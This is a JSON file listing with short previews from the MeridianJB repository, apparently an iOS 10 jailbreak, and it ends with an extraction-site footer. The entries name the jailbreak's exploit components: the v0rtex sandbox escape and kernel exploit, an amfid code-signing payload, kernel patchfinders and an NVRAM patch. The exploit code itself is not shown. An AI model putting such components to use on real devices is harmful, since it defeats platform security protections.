    "chars": 7837,
    "preview": "// credits @stek29 - https://github.com/stek29/electra/blob/amfid_fix/basebinaries/amfid_payload/\n// from: xnu osfmk/ker"
  },
  {
    "path": "Meridian/Meridian/helpers/fucksigningservices.h",
    "chars": 403,
    "preview": "//\n//  fucksigningservices.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 07/01/2018.\n//  Copyright © 2018 Ben Sparkes."
  },
  {
    "path": "Meridian/Meridian/helpers/fucksigningservices.m",
    "chars": 2754,
    "preview": "//\n//  fuck-signing-services.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 07/01/2018.\n//  Copyright © 2018 Ben Sparke"
  },
  {
    "path": "Meridian/Meridian/helpers/helpers.h",
    "chars": 1797,
    "preview": "//\n//  helpers.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 30/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights "
  },
  {
    "path": "Meridian/Meridian/helpers/helpers.m",
    "chars": 14186,
    "preview": "//\n//  helpers.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 30/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights "
  },
  {
    "path": "Meridian/Meridian/helpers/iokit.h",
    "chars": 6473,
    "preview": "#ifndef IOKIT_H\n#define IOKIT_H\n\n#include <stdint.h>\n#include <mach/mach.h>\n#include <CoreFoundation/CoreFoundation.h>\n\n"
  },
  {
    "path": "Meridian/Meridian/helpers/kernel.h",
    "chars": 3111,
    "preview": "//\n//  kernel.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 16/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights r"
  },
  {
    "path": "Meridian/Meridian/helpers/kernel.m",
    "chars": 14818,
    "preview": "//\n//  kernel.m\n//  v0rtex\n//\n//  Created by Ben Sparkes on 16/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights res"
  },
  {
    "path": "Meridian/Meridian/helpers/main.m",
    "chars": 338,
    "preview": "//\n//  main.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 22/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights res"
  },
  {
    "path": "Meridian/Meridian/helpers/nonce.h",
    "chars": 196,
    "preview": "//\n//  nonce.h\n//  Meridian\n//\n//  Created by Ben on 29/07/2018.\n//\n\n#ifndef nonce_h\n#define nonce_h\n\nint set_boot_nonce"
  },
  {
    "path": "Meridian/Meridian/helpers/nonce.m",
    "chars": 2499,
    "preview": "//\n//  nonce.m\n//  Meridian\n//\n//  Created by Ben on 29/07/2018.\n//\n\n#import <Foundation/Foundation.h>\n#include \"iokit.h"
  },
  {
    "path": "Meridian/Meridian/helpers/nvpatch.c",
    "chars": 6793,
    "preview": "/*\n * nvpatch.c - Patch kernel to unrestrict NVRAM variables\n *\n * Copyright (c) 2014 Samuel Groß\n * Copyright (c) 2016 "
  },
  {
    "path": "Meridian/Meridian/helpers/nvpatch.h",
    "chars": 228,
    "preview": "//\n//  nvpatch.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 11/05/2018.\n//  Copyright © 2018 Ben Sparkes. All rights "
  },
  {
    "path": "Meridian/Meridian/helpers/untar.h",
    "chars": 225,
    "preview": "//\n//  untar.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 16/02/2018.\n//  Copyright © 2018 Ben Sparkes. All rights re"
  },
  {
    "path": "Meridian/Meridian/helpers/untar.m",
    "chars": 5031,
    "preview": "/*\n * \"untar\" is an extremely simple tar extractor:\n *  * A single C source file, so it should be easy to compile\n *    "
  },
  {
    "path": "Meridian/Meridian/jailbreak.h",
    "chars": 590,
    "preview": "//\n//  jailbreak.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 16/02/2018.\n//  Copyright © 2018 Ben Sparkes. All right"
  },
  {
    "path": "Meridian/Meridian/jailbreak.m",
    "chars": 19187,
    "preview": "//\n//  jailbreak.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 16/02/2018.\n//  Copyright © 2018 Ben Sparkes. All right"
  },
  {
    "path": "Meridian/Meridian/mach/jailbreak_daemonUser.c",
    "chars": 5928,
    "preview": "/*\n * IDENTIFICATION:\n * stub generated Tue Aug 14 18:38:08 2018\n * with a MiG generated by bootstrap_cmds-96.20.2\n * OP"
  },
  {
    "path": "Meridian/Meridian/mach/jailbreak_daemonUser.h",
    "chars": 4815,
    "preview": "#ifndef\t_jailbreak_daemon_user_\n#define\t_jailbreak_daemon_user_\n\n/* Module jailbreak_daemon */\n\n#include <string.h>\n#inc"
  },
  {
    "path": "Meridian/Meridian/patchfinders/liboffsetfinder64.hpp",
    "chars": 6179,
    "preview": "//\n//  offsetfinder64.hpp\n//  offsetfinder64\n//\n//  Created by tihmstar on 10.01.18.\n//  Copyright © 2018 tihmstar. All "
  },
  {
    "path": "Meridian/Meridian/patchfinders/offsetdump.h",
    "chars": 296,
    "preview": "//\n//  offsetdump.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 30/03/2018.\n//  Copyright © 2018 Ben Sparkes. All righ"
  },
  {
    "path": "Meridian/Meridian/patchfinders/offsetdump.m",
    "chars": 6322,
    "preview": "//\n//  offsetdump.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 30/03/2018.\n//  Copyright © 2018 Ben Sparkes. All righ"
  },
  {
    "path": "Meridian/Meridian/patchfinders/offsetfinder.h",
    "chars": 282,
    "preview": "//\n//  offsetfinder.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 08/03/2018.\n//  Copyright © 2018 Ben Sparkes. All ri"
  },
  {
    "path": "Meridian/Meridian/patchfinders/offsetfinder.mm",
    "chars": 4452,
    "preview": "//\n//  offsetfinder.mm\n//  Meridian\n//\n//  Created by Ben Sparkes on 08/03/2018.\n//  Copyright © 2018 Ben Sparkes. All r"
  },
  {
    "path": "Meridian/Meridian/patchfinders/patchfinder64.c",
    "chars": 28225,
    "preview": "//\n//  patchfinder64.c\n//  extra_recipe\n//\n//  Created by xerub on 06/06/2017.\n//  Copyright © 2017 xerub. All rights re"
  },
  {
    "path": "Meridian/Meridian/patchfinders/patchfinder64.h",
    "chars": 850,
    "preview": "#ifndef PATCHFINDER64_H_\n#define PATCHFINDER64_H_\n\n#import \"common.h\"\n#import <mach/mach.h>\n\nint init_patchfinder(const "
  },
  {
    "path": "Meridian/Meridian/preferences.h",
    "chars": 594,
    "preview": "//\n//  Preferences.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 28/07/2018.\n//\n\n#ifndef Preferences_h\n#define Prefere"
  },
  {
    "path": "Meridian/Meridian/preferences.m",
    "chars": 2339,
    "preview": "//\n//  Preferences.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 28/07/2018.\n//\n\n#import <Foundation/Foundation.h>\n\n#i"
  },
  {
    "path": "Meridian/Meridian/root-rw.h",
    "chars": 247,
    "preview": "//\n//  root-rw.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 16/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights "
  },
  {
    "path": "Meridian/Meridian/root-rw.m",
    "chars": 5310,
    "preview": "//\n//  root-rw.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 16/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights "
  },
  {
    "path": "Meridian/Meridian/v0rtex.h",
    "chars": 1267,
    "preview": "#import \"common.h\"\n#include <mach/mach.h>\n#include <stdint.h>\n\ntypedef struct\n{\n    const char *version;\n    kptr_t base"
  },
  {
    "path": "Meridian/Meridian/v0rtex.m",
    "chars": 57446,
    "preview": "// v0rtex\n// Bug by Ian Beer.\n// Exploit by Siguza.\n\n// Status quo:\n// - Escapes sandbox, gets root and tfp0, should wor"
  },
  {
    "path": "Meridian/Meridian/views/AppDelegate.h",
    "chars": 281,
    "preview": "//\n//  AppDelegate.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 22/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rig"
  },
  {
    "path": "Meridian/Meridian/views/AppDelegate.m",
    "chars": 2043,
    "preview": "//\n//  AppDelegate.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 22/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rig"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Contents.json",
    "chars": 3277,
    "preview": "{\n  \"images\" : [\n    {\n      \"size\" : \"20x20\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-20x20@2x.png\",\n   "
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Contents.json",
    "chars": 3277,
    "preview": "{\n  \"images\" : [\n    {\n      \"size\" : \"20x20\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-20x20@2x.png\",\n   "
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Contents.json",
    "chars": 62,
    "preview": "{\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/Contents.json",
    "chars": 62,
    "preview": "{\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/archive.imageset/Contents.json",
    "chars": 413,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n     "
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/console.imageset/Contents.json",
    "chars": 413,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n     "
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/gears.imageset/Contents.json",
    "chars": 409,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n     "
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/hammer.imageset/Contents.json",
    "chars": 411,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n     "
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/handshake.imageset/Contents.json",
    "chars": 417,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n     "
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/jail.imageset/Contents.json",
    "chars": 407,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n     "
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/ladybug.imageset/Contents.json",
    "chars": 413,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n     "
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/list.imageset/Contents.json",
    "chars": 407,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n     "
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/settings.imageset/Contents.json",
    "chars": 415,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n     "
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/source_code.imageset/Contents.json",
    "chars": 421,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n     "
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/synchronize.imageset/Contents.json",
    "chars": 421,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n     "
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/trash.imageset/Contents.json",
    "chars": 409,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n     "
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/twitter.imageset/Contents.json",
    "chars": 413,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n     "
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/www.imageset/Contents.json",
    "chars": 405,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n     "
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Map.imageset/Contents.json",
    "chars": 156,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"DarkMap.png\"\n    }\n  ],\n  \"info\" : {\n    \"versio"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Splash.imageset/Contents.json",
    "chars": 342,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n     "
  },
  {
    "path": "Meridian/Meridian/views/Base.lproj/LaunchScreen.storyboard",
    "chars": 3067,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<document type=\"com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB\" version=\"3"
  },
  {
    "path": "Meridian/Meridian/views/Base.lproj/Main.storyboard",
    "chars": 95556,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<document type=\"com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB\" version=\"3"
  },
  {
    "path": "Meridian/Meridian/views/CreditsController.h",
    "chars": 221,
    "preview": "//\n//  CreditsController.h\n//  Meridian\n//\n//  Created by Sticktron on 2018-06-02.\n//  Copyright © 2018 Ben Sparkes. All"
  },
  {
    "path": "Meridian/Meridian/views/CreditsController.m",
    "chars": 1156,
    "preview": "//\n//  CreditsController.m\n//  Meridian\n//\n//  Created by Sticktron on 2018-06-02.\n//  Copyright © 2018 Ben Sparkes. All"
  },
  {
    "path": "Meridian/Meridian/views/Info.plist",
    "chars": 1397,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "Meridian/Meridian/views/SettingsController.h",
    "chars": 250,
    "preview": "//\n//  SettingsController.h\n//  Meridian\n//\n//  Created by Sticktron on 2018-04-03.\n//  Copyright © 2018 Ben Sparkes. Al"
  },
  {
    "path": "Meridian/Meridian/views/SettingsController.m",
    "chars": 4716,
    "preview": "//\n//  SettingsController.m\n//  Meridian\n//\n//  Created by Sticktron on 2018-04-03.\n//  Copyright © 2018 Ben Sparkes. Al"
  },
  {
    "path": "Meridian/Meridian/views/ViewController.h",
    "chars": 452,
    "preview": "//\n//  ViewController.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 22/12/2017.\n//  Copyright © 2017 Ben Sparkes. All "
  },
  {
    "path": "Meridian/Meridian/views/ViewController.m",
    "chars": 12727,
    "preview": "//\n//  ViewController.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 22/12/2017.\n//  Copyright © 2017 Ben Sparkes. All "
  },
  {
    "path": "Meridian/Meridian.xcodeproj/project.pbxproj",
    "chars": 43675,
    "preview": "// !$*UTF8*$!\n{\n\tarchiveVersion = 1;\n\tclasses = {\n\t};\n\tobjectVersion = 48;\n\tobjects = {\n\n/* Begin PBXBuildFile section *"
  },
  {
    "path": "Meridian/Meridian.xcodeproj/project.xcworkspace/contents.xcworkspacedata",
    "chars": 153,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Workspace\n   version = \"1.0\">\n   <FileRef\n      location = \"self:Meridian.xcodep"
  },
  {
    "path": "Meridian/Meridian.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist",
    "chars": 238,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "Meridian/Meridian.xcodeproj/project.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings",
    "chars": 181,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "Meridian/amfid/Makefile",
    "chars": 447,
    "preview": "TARGET  = amfid_payload.dylib\nOUTDIR ?= bin\nSRC     = $(wildcard *.c) $(wildcard *.m) $(wildcard */*.c) $(wildcard */*.m"
  },
  {
    "path": "Meridian/amfid/common.h",
    "chars": 395,
    "preview": "\n#define CACHED_FIND(type, name) \\\n    type __##name(void);                \\\n    type name(void) {                   \\\n "
  },
  {
    "path": "Meridian/amfid/cs_blobs.h",
    "chars": 7838,
    "preview": "// credits @stek29 - https://github.com/stek29/electra/blob/amfid_fix/basebinaries/amfid_payload/\n// from: xnu osfmk/ker"
  },
  {
    "path": "Meridian/amfid/cs_dingling.h",
    "chars": 961,
    "preview": "#include <stdlib.h>\n#include \"cs_blobs.h\"\n\n#define LOG(str, args...) do { NSLog(@\"[amfid_payload] \" str, ##args); } whil"
  },
  {
    "path": "Meridian/amfid/cs_dingling.m",
    "chars": 8469,
    "preview": "#include \"cs_dingling.h\"\n#include <sys/mman.h>\n#include <spawn.h>\n#include <sys/stat.h>\n#include <mach-o/loader.h>\n#impo"
  },
  {
    "path": "Meridian/amfid/ent_patching.h",
    "chars": 403,
    "preview": "#include \"cs_dingling.h\"\n\nint fixup_platform_application(const char *path,\n                               uint64_t macho"
  },
  {
    "path": "Meridian/amfid/ent_patching.m",
    "chars": 15578,
    "preview": "#include <stdlib.h>\n#include <stddef.h>\n#include <Foundation/Foundation.h>\n#include \"cs_dingling.h\"\n#include \"kexecute.h"
  },
  {
    "path": "Meridian/amfid/helpers/kexecute.h",
    "chars": 262,
    "preview": "#include <mach/mach.h>\n#include <inttypes.h>\n\nmach_port_t prepare_user_client(void);\nvoid init_kexecute(void);\nvoid term"
  },
  {
    "path": "Meridian/amfid/helpers/kexecute.m",
    "chars": 4841,
    "preview": "#include <pthread.h>\n#include <Foundation/Foundation.h>\n#include \"kmem.h\"\n#include \"kexecute.h\"\n#include \"kern_utils.h\"\n"
  },
  {
    "path": "Meridian/amfid/helpers/kmem.c",
    "chars": 4753,
    "preview": "#import \"kern_utils.h\"\n#import \"kmem.h\"\n\n#define MAX_CHUNK_SIZE 0xFFF\n\nvoid remote_read_overwrite(mach_port_t task_port,"
  },
  {
    "path": "Meridian/amfid/helpers/kmem.h",
    "chars": 925,
    "preview": "#include <mach/mach.h>\n\nvoid remote_read_overwrite(mach_port_t task_port,\n                           uint64_t remote_add"
  },
  {
    "path": "Meridian/amfid/helpers/offsetof.c",
    "chars": 2869,
    "preview": "\nunsigned offsetof_p_pid = 0x10;               // proc_t::p_pid\nunsigned offsetof_task = 0x18;                // proc_t:"
  },
  {
    "path": "Meridian/amfid/helpers/offsetof.h",
    "chars": 1548,
    "preview": "\nextern unsigned offsetof_p_pid;\nextern unsigned offsetof_task;\nextern unsigned offsetof_p_uid;\nextern unsigned offsetof"
  },
  {
    "path": "Meridian/amfid/helpers/osobject.c",
    "chars": 4598,
    "preview": "#include <stdlib.h>\n\n#include \"kern_utils.h\"\n#include \"kexecute.h\"\n#include \"kmem.h\"\n#include \"osobject.h\"\n\n// offsets i"
  },
  {
    "path": "Meridian/amfid/helpers/osobject.h",
    "chars": 1050,
    "preview": "\n#define OSDictionary_ItemCount(dict) rk32(dict+20)\n#define OSDictionary_ItemBuffer(dict) rk64(dict+32)\n#define OSDictio"
  },
  {
    "path": "Meridian/amfid/kern_utils.h",
    "chars": 3969,
    "preview": "#import <stdio.h>\n#import <mach/mach.h>\n#import <mach/error.h>\n#import <mach/message.h>\n#import <CoreFoundation/CoreFoun"
  },
  {
    "path": "Meridian/amfid/kern_utils.m",
    "chars": 1846,
    "preview": "#import <Foundation/Foundation.h>\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#include \"common.h\"\n#include \"kern_utils.h\"\n#"
  },
  {
    "path": "Meridian/amfid/main.m",
    "chars": 7295,
    "preview": "// Massive creds to @theninjaprawn for his async_wake fork & help getting this patch to work :)\n// [2018-3-14] big thank"
  },
  {
    "path": "Meridian/amfid/ubc_headers.h",
    "chars": 6746,
    "preview": "#include <sys/sysctl.h>\n\n/* vnode types (vnode->v_type) */\nenum vtype {\n    /* 0 */\n    VNON,\n    /* 1 - 5 */\n    VREG, "
  },
  {
    "path": "Meridian/exportPlist.plist",
    "chars": 188,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "Meridian/fishhook/fishhook.c",
    "chars": 8497,
    "preview": "// Copyright (c) 2013, Facebook, Inc.\n// All rights reserved.\n// Redistribution and use in source and binary forms, with"
  },
  {
    "path": "Meridian/fishhook/fishhook.h",
    "chars": 3059,
    "preview": "// Copyright (c) 2013, Facebook, Inc.\n// All rights reserved.\n// Redistribution and use in source and binary forms, with"
  },
  {
    "path": "Meridian/jailbreakd/Makefile",
    "chars": 478,
    "preview": "TARGET  = jailbreakd\nOUTDIR ?= bin\nSRC     = $(wildcard *.c) $(wildcard *.m) $(wildcard */*.c) $(wildcard */*.m)\n\nCC    "
  },
  {
    "path": "Meridian/jailbreakd/common.h",
    "chars": 570,
    "preview": "\n#define DEBUGLOG(syslog, fmt, args ...)     \\\n    fprintf(stdout, fmt \"\\n\", ##args);      \\\n    fflush(stdout);        "
  },
  {
    "path": "Meridian/jailbreakd/entitlements.xml",
    "chars": 515,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "Meridian/jailbreakd/helpers/kexecute.h",
    "chars": 263,
    "preview": "#include <inttypes.h>\n\n#include <mach/mach.h>\n\nmach_port_t prepare_user_client(void);\nvoid init_kexecute(void);\nvoid ter"
  },
  {
    "path": "Meridian/jailbreakd/helpers/kexecute.m",
    "chars": 4747,
    "preview": "#include <pthread.h>\n\n#include \"kern_utils.h\"\n#include \"kexecute.h\"\n#include \"kmem.h\"\n#include \"offsetof.h\"\n\nmach_port_t"
  },
  {
    "path": "Meridian/jailbreakd/helpers/kmem.h",
    "chars": 525,
    "preview": "#include <mach/mach.h>\n\nuint64_t kalloc(vm_size_t size);\nvoid kfree(mach_vm_address_t address, vm_size_t size);\n\nsize_t "
  },
  {
    "path": "Meridian/jailbreakd/helpers/kmem.m",
    "chars": 2982,
    "preview": "#include \"kern_utils.h\"\n#include \"kmem.h\"\n\n#import <Foundation/Foundation.h>\n\n#define MAX_CHUNK_SIZE 0xFFF\n\nsize_t kread"
  },
  {
    "path": "Meridian/jailbreakd/helpers/offsetof.c",
    "chars": 2803,
    "preview": "\nunsigned offsetof_p_pid = 0x10;               // proc_t::p_pid\nunsigned offsetof_task = 0x18;                // proc_t:"
  },
  {
    "path": "Meridian/jailbreakd/helpers/offsetof.h",
    "chars": 1513,
    "preview": "\nextern unsigned offsetof_p_pid;\nextern unsigned offsetof_task;\nextern unsigned offsetof_p_uid;\nextern unsigned offsetof"
  },
  {
    "path": "Meridian/jailbreakd/helpers/osobject.c",
    "chars": 4589,
    "preview": "#include <stdlib.h>\n\n#include \"kern_utils.h\"\n#include \"kexecute.h\"\n#include \"kmem.h\"\n#include \"osobject.h\"\n\n// offsets i"
  },
  {
    "path": "Meridian/jailbreakd/helpers/osobject.h",
    "chars": 1050,
    "preview": "\n#define OSDictionary_ItemCount(dict) rk32(dict+20)\n#define OSDictionary_ItemBuffer(dict) rk64(dict+32)\n#define OSDictio"
  },
  {
    "path": "Meridian/jailbreakd/kern_utils.h",
    "chars": 4825,
    "preview": "#import <stdio.h>\n\n#import <mach/mach.h>\n#import <mach/error.h>\n#import <mach/message.h>\n\n#import <CoreFoundation/CoreFo"
  },
  {
    "path": "Meridian/jailbreakd/kern_utils.m",
    "chars": 6427,
    "preview": "#import <Foundation/Foundation.h>\n\n#include <sched.h>\n#include <sys/stat.h>\n\n#include \"common.h\"\n#include \"kern_utils.h\""
  },
  {
    "path": "Meridian/jailbreakd/mach/jailbreak_daemonServer.c",
    "chars": 5987,
    "preview": "/*\n * IDENTIFICATION:\n * stub generated Fri Sep 21 22:56:39 2018\n * with a MiG generated by bootstrap_cmds-96.20.2\n * OP"
  },
  {
    "path": "Meridian/jailbreakd/mach/jailbreak_daemonServer.h",
    "chars": 4945,
    "preview": "#ifndef\t_jailbreak_daemon_server_\n#define\t_jailbreak_daemon_server_\n\n/* Module jailbreak_daemon */\n\n#include <string.h>\n"
  },
  {
    "path": "Meridian/jailbreakd/mach/mig.defs",
    "chars": 345,
    "preview": "// mig -sheader jailbreak_daemonServer.h -header jailbreak_daemonUser.h mig.defs\n\nsubsystem jailbreak_daemon 500;\nuserpr"
  },
  {
    "path": "Meridian/jailbreakd/main.m",
    "chars": 5797,
    "preview": "#import <Foundation/Foundation.h>\n\n#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n\n#include <mach/mach.h>\n#i"
  },
  {
    "path": "Meridian/jailbreakd/sandbox.h",
    "chars": 242,
    "preview": "\n// see https://stek29.rocks/2018/01/26/sandbox.html\n\nvoid extension_add(uint64_t ext, uint64_t sb, const char* desc);\nu"
  },
  {
    "path": "Meridian/jailbreakd/sandbox.m",
    "chars": 6887,
    "preview": "#include \"kmem.h\"\n#include \"kern_utils.h\"\n#include \"sandbox.h\"\n#include \"kexecute.h\"\n\ntypedef uint64_t extension_hdr_t;\n"
  },
  {
    "path": "Meridian/pspawn_hook/Makefile",
    "chars": 425,
    "preview": "TARGET  = pspawn_hook.dylib\nOUTDIR ?= bin\nSRC     = $(wildcard *.c) $(wildcard *.m) $(wildcard mach/*.c)\n\nCC      = xcru"
  },
  {
    "path": "Meridian/pspawn_hook/mach/jailbreak_daemonUser.c",
    "chars": 5990,
    "preview": "/*\n * IDENTIFICATION:\n * stub generated Fri Sep 21 22:56:39 2018\n * with a MiG generated by bootstrap_cmds-96.20.2\n * OP"
  },
  {
    "path": "Meridian/pspawn_hook/mach/jailbreak_daemonUser.h",
    "chars": 4815,
    "preview": "#ifndef\t_jailbreak_daemon_user_\n#define\t_jailbreak_daemon_user_\n\n/* Module jailbreak_daemon */\n\n#include <string.h>\n#inc"
  },
  {
    "path": "Meridian/pspawn_hook/pspawn_hook.m",
    "chars": 12610,
    "preview": "#import <Foundation/Foundation.h>\n\n#include <dlfcn.h>\n#include <spawn.h>\n\n#include <mach/mach.h>\n\n#include \"fishhook.h\"\n"
  },
  {
    "path": "README.md",
    "chars": 532,
    "preview": "# MeridianJB\nAn iOS 10.x Jailbreak for all 64-bit devices.\n\nWebsite: https://meridian.sparkes.zone\n\nAll credits can be f"
  },
  {
    "path": "Working_with_libjailbreak.md",
    "chars": 2166,
    "preview": "## Working with Meridian & libjailbreak\n\nIf your binary to tweak requires setuid0, or other entitlements/empowerments, y"
  }
]

// ... and 11 more files (download for full content)

About this extraction

This page contains the full source code of the PsychoTea/MeridianJB GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 136 files (564.7 KB), approximately 160.9k tokens, and a symbol index with 171 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!